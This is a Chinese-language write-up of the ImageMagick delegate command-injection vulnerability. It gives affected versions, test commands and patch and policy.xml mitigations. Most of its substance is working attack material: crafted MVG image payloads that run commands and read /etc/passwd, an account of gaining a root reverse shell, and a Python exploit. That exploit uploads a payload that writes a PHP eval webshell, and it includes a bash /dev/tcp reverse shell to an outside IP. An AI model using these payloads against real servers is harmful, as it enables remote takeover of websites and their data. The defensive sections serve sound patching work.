ImageMagick 命令执行漏洞
关于ImageMagick
ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理。
由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等。
比如php有IMagick、MagickWand for PHP 、phMagick等ImageMagick拓展库,java有JMagick,python有PythonMagick、Wand 等拓展库。
漏洞原因
命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中。
ImageMagick之所以支持那么多的文件格式,是因为他内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给他起了个名字叫做“Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的程序对文件进行处理。
其默认的配置文件在源码的config/delegates.xml.in中,一般使用者很少会去修改这个配置文件。
对于https形式的文件,他是这样处理的:
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\">"
%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,所以我们可以将引号闭合后通过管道符带入其他命令,也就形成了命令注入。
- 比如url为:https://example.com“|ls “-la
那实际命令就变成了:
"wget" -q -O "%o" " https://example.com"|ls "-la"
ls –la被执行了。
产生原因是因为字符过滤不严谨所导致的执行代码.对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。
影响版本范围
- ImageMagick 6.5.7-8 2012-08-17(手工测试风险存在)
- ImageMagick 6.7.7-10 2014-03-06(手工测试风险存在)
- 低版本至6.9.3-9released 2016-04-30
漏洞验证
- 命令验证
- 若系统中安装使用了ImageMagick,本地执行如下命令:
- convert ‘https://example.com”|ls “-la’ out.png
- 若ls -la 命令成功执行,说明存在漏洞。未执行ls命令,并报错,说明不受影响。
- poc验证
- 先构建一个精心准备的图片:
vi exp1.jpg
push graphic -context
viewbox 0 0 640480
fill'url(https://"|id && ls -al /etc/passwd")'
popg raphic -context
执行攻击POC1,虽然有报错,但是两条命令都成功绕出执行了,
就说明漏洞是存在的
那么在制作一个远程下载反弹shell脚本,并且执行shell命令:
执行成功,上接受服务器看去:Root权限的反弹shell就这样上来了.
漏洞利用
- poc的主要内容
python
#!/usr/bin/env python
# coding:utf-8
import requests
import base64
def doPost(url, data):
post_data = {"img": base64.b64encode(data)}
try:
requests.post(url + "/poc.php", data=post_data, timeout=1)
except:
pass
# 写 webshell
def writeshell(url):
writeshell = """push graphic-context
viewbox 0 0 640 480
fill "url(https://example.com/1.jpg"|echo \"<?php eval($_POST[\"ant\"]);?>\" > shell.php")"
pop graphic-context
"""
doPost(url, writeshell)
resp2 = requests.post(url + "/shell.php", data={"ant": "echo md5(123);"})
if resp2.status_code == 200 and "202cb962ac59075b964b07152d234b70" in resp2.content:
print "WebShell: " + url + "shell.php"
def reverse_shell(url):
reverse_shell = """push graphic-context
viewbox 0 0 640 480
fill "url(https://example.com/1.jpg"|bash -i >& /dev/tcp/192.168.1.101/2333 0>&1")"
pop graphic-context"""
# 反弹 shell
doPost(url, reverse_shell)
if __name__ == "__main__":
# 写 webshell
writeshell("http://172.16.11.2:8080/")
# 反弹 shell
# reverse_shell("http://127.0.0.1:8000/")
- 它的功能是在网站根目录写入一句话木马,生成shell.php脚本。接下来我们执行它,执行命令
python poc.py //使用python解释poc.py文件
- 执行成功后,会返回一句话木马的地址。
漏洞修复
- 将ImageMagick升级至6.9.3-10版本可修复此安全漏洞
- 用户方进行临时修复
- 在上传图片时需要通过文件内容来判断用户上传的是否为真实图片类型.
- 使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>